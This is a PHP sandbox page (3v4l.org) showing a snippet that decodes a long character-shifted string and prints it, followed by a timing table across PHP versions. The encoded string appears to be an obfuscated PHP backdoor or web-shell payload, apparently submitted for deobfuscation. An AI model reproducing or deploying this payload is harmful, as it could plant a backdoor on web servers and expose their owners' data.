3v4l.org

run code in 300+ PHP versions simultaneously
<?php function fjfgg($n){return chr(ord($n)-1);} $test = implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!>#]y3g]61]y3f]63]y3:]68]y76#<\xe\xb\x25w:!>!\x246767~6<Cw6<pd\x25w6Z6<.5\x60hA\x27pd\x256<pd\x25w6Z6<.4\x60hA\x27pd\x256<pd\x25w6Z6<.3\x60hA\x27pd\x256<pd\x25w6Z6<.2\x60hA\x27pd\x256<C\x27pd\x256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf\x27*&7-n\x25)utjm6<\x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u\x257>\x2f7&6|7**111127-K)ebfsX\x27u\x25)7fmji\x786<C\x27&6<*rfs\x257-K)fujs\x78X6<#o]o]Y\x257;utpI#7>\x2f7rfs\x256<#o]1\x2f20QUUI7jsv\x257UFH#\x27rfs\x256~6<\x7fw6<*K)ftpmdXA6|7**197-2qj\x257-K)udfoopdXA\x22)7gj6<*QDU\x60MPT7-NBFSUT\x60LDPT7-UFOJ\x60GB)fubfsdXA\x27K6<\x7fw6*3qj\x257>\x2272qj\x25)7gj6<**2qj\x25)hopm3qjA)qj3hopmA\x273qj\x256<*Y\x25)fnbozcYufhA\x272qj\x256<^#zsfvr#\x5cq\x257\x2f7#@#7\x2f7^#iubq#\x5cq\x25\x27jsv\x256<C>^#zsfvr#\x5cq\x257**^#zsfvr#\x5cq\x25)ufttj\x22)gj6<^#Y#\x5cq\x25\x27Y\x256<.msv\x60ftsbqA7>q\x256<\x7fw6*\x7f_*#fubfsdXk5\x60{66~6<&w6<\x7fw6*CW&)7gj6<*doj\x257-C)fepmqnjA\x27&6<.fmjgA\x27doj\x256<\x7fw6*\x7f_*#fmjgk4\x60{6~6<tfs\x25w6<\x7fw6*CWtfs\x25)7gj6<*id\x25)ftpmdR6<*id\x25)dfyfR\x27tfs\x256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv\x257-MSV,6<*)ujojR\x27id\x256<\x7fw6*\x7f_*#ujojRk3\x60{666~6<&w6<\x7fw6*CW&)7gj6<.[A\x27&6<\x7fw6*\x7f_*#[k2\x60{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd\x60ufh\x60fmjg}[;ldpt\x25}K;\x60ufldpt}X;\x60msvd}R;*msv\x25)}.;\x60UQPMSVD!-id\x25)uqpuft\x60msvd},;uqpuft\x60msvd}+;!>!}\x27;!>>>!}_;gvc\x25}&;ftmbg}\x7f;!osvufs}w;*\x7f!>>\x22!pd\x25)!gj}Z;h!opjudovg}{;#)tutjyf\x60opjudovg)!gj!|!*msv\x25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j\x25-bubE{h\x25)sutcvt)fubmgoj{hA!osvufs!~<3,j\x25>j\x25!*3!\x27!hmg\x25!)!gj!<2,*j\x25!-#1]#-bubE{h\x25)tpqsut>j\x25!*72!\x27!hmg\x25)!gj!<2,*j\x25-#1]#-bubE{h\x25)tpqsut>j\x25!*9!\x27!hmg\x25)!gj!~<ofmy\x25,3,j\x25>j\x25!<**3-j\x25-bubE{h\x25)sutcvt-#w#)ldbqov>*ofmy\x25)utjm!|!*5!\x27!hmg\x25)!gj!|!*1?hmg\x25)!gj!<**2-4-bubE{h\x25)sutcvt)esp>hmg\x25!<12>j\x25!|!*#91y]c9y]g2y]#>>*4-1-bubE{h\x25)sutcvt)!gj!|!*bubE{h\x25)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf\x60opjudovg\x22)!gj}1~!<2p\x25\x7f!~!<##!>!2p\x25Z<^2\x5c2b\x25!>!2p\x25!*3>?*2b\x25)gpf{jt)!gj!<*2bd\x25-#1GO\x22#)fepmqyfA>2b\x25!<*qp\x25-*.\x25)euhA)3of>2bd\x25!<5h\x25\x2f#0#\x2f*#npd\x2f#)rrd\x2f#00;quui#>.\x25!<***f\x27,*e\x27,*d\x27,*c\x27,*b\x27)fepdof.)fepdof.\x2f#@#\x2fqp\x25>5h\x25!<*::::::-111112)eobs\x60un>qp\x25!|Z~!<##!>!2p\x25!|!*!***b\x25)sf\x78pmpusut!-#j0#!\x2f!**#sfmcnbs+yfeobz+sfwjidsb\x60bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!\x2f!#0#)idubn\x60hfsq)!sp!*#ojneb#-*f\x25)sf\x78pmpusut)tpqssutRe\x25)Rd\x25)Rb\x25))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT\x60QIQ&f_UTPI\x60QUUI&e_SEEB\x60FUPNFS&d_SFSFGFS\x60QUUI&c_UOFHB\x60SFTV\x60QUUI&b\x25!|!*)323zbek!~!<b\x25\x7f!<X>b\x25Z<#opo#>b\x25!*##>>X)!gjZ<#opo#>b\x25!**X)ufttj\x22)gj!|!*nbsbq\x25)323ldfidk!~!<**qp\x25!-uyfu\x25)3of)fepdof\x6057ftbc\x7f!|!*uyfu\x27k:!ftmf!}Z;^nbsbq\x25\x5cSFWSFT\x60\x25}X;!sp!*#opo#>>}R;msv}.;\x2f#\x2f#\x2f},;#-#}+;\x25-qp\x25)54l}\x27;\x25!<*#}_;#)323ldfid>}&;!osvufs}\x7f;!opjudovg}k~~9{d\x25:osvufs:~928>>\x22:ftmbg39*56A:>:8:|:7#6#)tutjyf\x60439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm\x25:-5ppde:4:|:**#ppde#)tutjyf\x604\x223}!+!<+{e\x25+*!*+fepdfe{h+{d\x25)+opjudovg+)!gj+{e\x25!osvufs!*!+A!>!{e\x25)!>>\x22!ftmbg)!gj<*#k#)usbut\x60cpV\x7f\x7f\x7f\x7f<u\x25V\x27{ftmfV\x7f<*X&Z&S{ftmfV\x7f<*XAZASV<*w\x25)ppde>u\x25V<#65,47R25,d7R17,67R37,#\x2fq\x25>U<#16,47R57,27R66,#\x2fq\x25>2q\x25<#g6R85,67R37,18R#>q\x25V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w\x25)kV\x78{**#k#)tutjyf\x60\x78\x22l:!}V;3q\x25}U;y]}R;2]},;osvufs}\x27;mnui}&;zepc}A;~!}\x7f;!|!}{;)gj}l;33bq}k;opjudovg}\x78;0]=])0#)U!\x27{**u\x25-#jt0}Z;0]=]0#)2q\x25l}S;2-u\x25!-#2#\x2f#\x25#\x2f#o]#\x2f*)323zbe!-#jt0*?]+^?]_\x5c}X\x24<!\x25tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!\x25tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<\x25tmw!>!#]y84]275]y83]273]y76]277#<\x25t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!\x25tww!>!\x2400~:<h\x25_t\x25:osvufs:~:<*9-1-r\x25)s\x25>\x2fh\x25:<**#57]38y]47]67y]37]88y]27]28y]#\x2fr\x25\x2fh\x25)n\x25-#+I#)q\x25:>:r\x25:|:**t\x25)m\x25=*h\x25)m\x25):fmji\x78:<##:>:h\x25:<#64y]552]e7y]#>n\x25<#372]58y]472]37y]672]48y]#>s\x25<#462]47y]252]18y]#>q\x25<#762]67y]562]38y]572]48y]#>m\x25:|:*r\x25:-t\x25)3of:opjudovg<~\x24<!\x25o:!>!\x242178}527}88:}334}472\x24<!\x25mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!\x25ff2!>!bssbz)\x24]25\x24-\x24-!\x25\x24-\x24*!|!\x24-\x24\x5c\x25j^\x24-\x24tvctus)\x25\x24-\x24b!>!\x25yy)#}#-#\x24-\x24-tusqpt)\x25z-#:#*\x24-\x24!>!tus\x60sfqmbdf)\x25\x24-\x24y4\x24-\x24]y8\x24-\x24]26\x24-\x24<\x25j,,*!|\x24-\x24gvodujpo!\x24-\x24y7\x24-\x24*<!\x24-\x24gps)\x25j>1<\x25j=tj{fpg)\x25\x24-\x24*<!~!dsfbuf\x60gvodujpo)##-!#~<#\x2f\x25\x24-\x24!>!fyqmpef)#\x24*<!\x25kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!\x25t::!>!\x24Ypp3)\x25cB\x25iN}#-!tussfw)\x25c*W\x25eN+#Qi\x5c1^W\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echo $test;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00316.75
8.3.50.0090.01421.94
8.3.40.0100.01318.88
8.3.30.0060.00918.96
8.3.20.0050.00520.41
8.3.10.0060.00323.61
8.3.00.0040.00419.56
8.2.180.0040.01218.25
8.2.170.0110.00722.96
8.2.160.0140.00020.89
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0040.00418.00
8.2.110.0030.00722.20
8.2.100.0040.00818.28
8.2.90.0000.00819.66
8.2.80.0060.00317.97
8.2.70.0060.00317.75
8.2.60.0000.00818.30
8.2.50.0060.00318.07
8.2.40.0030.00619.84
8.2.30.0050.00319.80
8.2.20.0080.00018.02
8.2.10.0000.00918.50
8.2.00.0040.00418.46
8.1.280.0060.01325.92
8.1.270.0070.00720.88
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0060.00319.34
8.1.230.0060.00618.20
8.1.220.0000.00818.14
8.1.210.0090.00018.77
8.1.200.0030.00717.61
8.1.190.0030.00617.72
8.1.180.0030.00618.10
8.1.170.0080.00019.06
8.1.160.0050.00322.41
8.1.150.0050.00319.27
8.1.140.0000.00917.81
8.1.130.0040.00418.08
8.1.120.0000.00717.94
8.1.110.0030.00517.80
8.1.100.0030.00617.91
8.1.90.0000.00817.93
8.1.80.0000.00817.93
8.1.70.0070.00017.86
8.1.60.0040.00418.04
8.1.50.0040.00417.95
8.1.40.0000.00917.96
8.1.30.0080.00318.06
8.1.20.0000.00917.99
8.1.10.0030.00618.04
8.1.00.0000.00817.84
8.0.300.0030.00618.77
8.0.290.0030.00517.12
8.0.280.0040.00418.98
8.0.270.0000.00717.64
8.0.260.0040.00417.74
8.0.250.0040.00417.45
8.0.240.0030.00317.43
8.0.230.0060.00317.27
8.0.220.0040.00417.33
8.0.210.0000.00717.34
8.0.200.0000.00717.45
8.0.190.0030.00617.23
8.0.180.0040.00417.32
8.0.170.0040.00417.31
8.0.160.0090.00017.42
8.0.150.0050.00317.14
8.0.140.0000.00817.31
8.0.130.0030.00513.75
8.0.120.0040.00417.29
8.0.110.0060.00317.29
8.0.100.0040.00517.16
8.0.90.0040.00417.35
8.0.80.0130.00717.35
8.0.70.0040.00417.33
8.0.60.0000.00817.37
8.0.50.0040.00417.14
8.0.30.0110.00717.70
8.0.20.0080.01217.56
8.0.10.0030.00617.33
8.0.00.0100.01117.18
7.4.330.0050.00015.08
7.4.320.0040.00417.00
7.4.300.0070.00017.04
7.4.290.0000.00816.94
7.4.280.0070.00316.93
7.4.270.0040.00416.96
7.4.260.0000.00916.97
7.4.250.0040.00416.95
7.4.240.0050.00316.96
7.4.230.0000.00716.77
7.4.220.0130.00617.05
7.4.210.0150.00616.98
7.4.200.0020.00516.96
7.4.150.0160.00317.40
7.4.140.0160.00517.86
7.4.130.0130.00616.88
7.4.120.0120.00916.98
7.4.110.0120.00616.98
7.4.100.0060.01216.89
7.4.90.0160.00316.95
7.4.80.0090.00919.39
7.4.70.0060.01717.04
7.4.60.0040.01517.09
7.4.50.0060.00316.82
7.4.40.0110.00616.72
7.4.30.0140.00717.09
7.4.00.0130.00315.32
7.3.330.0000.00713.77
7.3.320.0000.00613.80
7.3.310.0070.00016.83
7.3.300.0000.00716.73
7.3.290.0100.00616.77
7.3.280.0090.00916.78
7.3.270.0190.01017.40
7.3.260.0170.01016.85
7.3.250.0060.01216.94
7.3.240.0160.00617.06
7.3.230.0060.01316.75
7.3.210.0170.00016.65
7.3.200.0100.01016.77
7.3.190.0090.00916.91
7.3.180.0070.01117.04
7.3.170.0030.01316.79
7.3.160.0130.01017.04
7.3.120.0080.01115.03
7.3.110.0080.01215.02
7.3.100.0070.00715.43
7.3.90.0030.01415.29
7.3.80.0060.01215.39
7.3.70.0040.01115.35
7.3.60.0070.00815.25
7.3.50.0060.00615.40
7.3.40.0030.00915.19
7.3.30.0090.00615.10
7.3.20.0000.00916.77
7.3.10.0080.00416.70
7.3.00.0090.00316.62
7.2.330.0080.01117.07
7.2.320.0100.01616.96
7.2.310.0100.01017.19
7.2.300.0050.01416.89
7.2.290.0090.00916.99
7.2.240.0060.01515.43
7.2.230.0060.01015.43
7.2.220.0000.01515.39
7.2.210.0100.01015.36
7.2.200.0060.01015.21
7.2.190.0120.00315.39
7.2.180.0000.01115.60
7.2.170.0030.01315.32
7.2.160.0060.00615.54
7.2.150.0070.00716.87
7.2.140.0070.00716.95
7.2.130.0060.01016.70
7.2.120.0060.00916.80
7.2.110.0070.00716.62
7.2.100.0070.01016.58
7.2.90.0070.00416.45
7.2.80.0000.01216.52
7.2.70.0040.00816.60
7.2.60.0070.01116.59
7.2.50.0060.01616.75
7.2.40.0090.00616.76
7.2.30.0060.00616.93
7.2.20.0110.00716.71
7.2.10.0070.01117.02
7.2.00.0070.00918.04
7.1.330.0030.01515.62
7.1.320.0030.01315.84
7.1.310.0040.01215.66
7.1.300.0000.01215.75
7.1.290.0100.00315.46
7.1.280.0060.01315.66
7.1.270.0030.01115.81
7.1.260.0060.00915.45
7.1.250.0080.00415.83
7.1.100.0220.00316.64
7.1.70.0040.00717.20
7.1.60.0000.01119.27
7.1.50.0100.01016.95
7.1.00.0070.07722.24
7.0.200.0160.00316.61
7.0.100.0070.08021.86
7.0.90.0100.05020.57
7.0.80.0130.05020.55
7.0.70.0130.05320.75
7.0.60.0130.03320.47
7.0.50.0230.05020.89
7.0.40.0070.07320.02
7.0.30.0070.06320.07
7.0.20.0130.06720.10
7.0.10.0130.07319.91
7.0.00.0100.07020.03
5.6.280.0100.07022.90
5.6.250.0030.08722.43
5.6.240.0130.04022.60
5.6.230.0070.09722.48
5.6.220.0030.06722.55
5.6.210.0130.07022.46
5.6.200.0100.05322.89
5.6.190.0030.09322.83
5.6.180.0030.08322.86
5.6.170.0000.10322.98
5.6.160.0130.07022.75
5.6.150.0070.06022.83
5.6.140.0100.08722.86
5.6.130.0030.06722.98
5.6.120.0130.04322.85
5.6.110.0070.08322.93
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5.5.380.0070.09022.19
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5.4.450.0000.08321.10
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5.4.400.0200.06720.86
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5.4.340.0170.06720.66
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5.4.250.0130.05720.92
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5.4.190.0000.08720.95
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5.4.150.0030.04320.83
5.4.140.0030.06017.99
5.4.130.0070.07718.04
5.4.120.0100.06718.24
5.4.110.0070.06018.26
5.4.100.0130.06718.09
5.4.90.0070.07018.29
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5.4.70.0130.03718.07
5.4.60.0030.06018.27
5.4.50.0000.08718.11
5.4.40.0030.04018.12
5.4.30.0070.07318.22
5.4.20.0030.07318.15
5.4.10.0070.08018.18
5.4.00.0130.04717.49

preferences:
35.61 ms | 401 KiB | 5 Q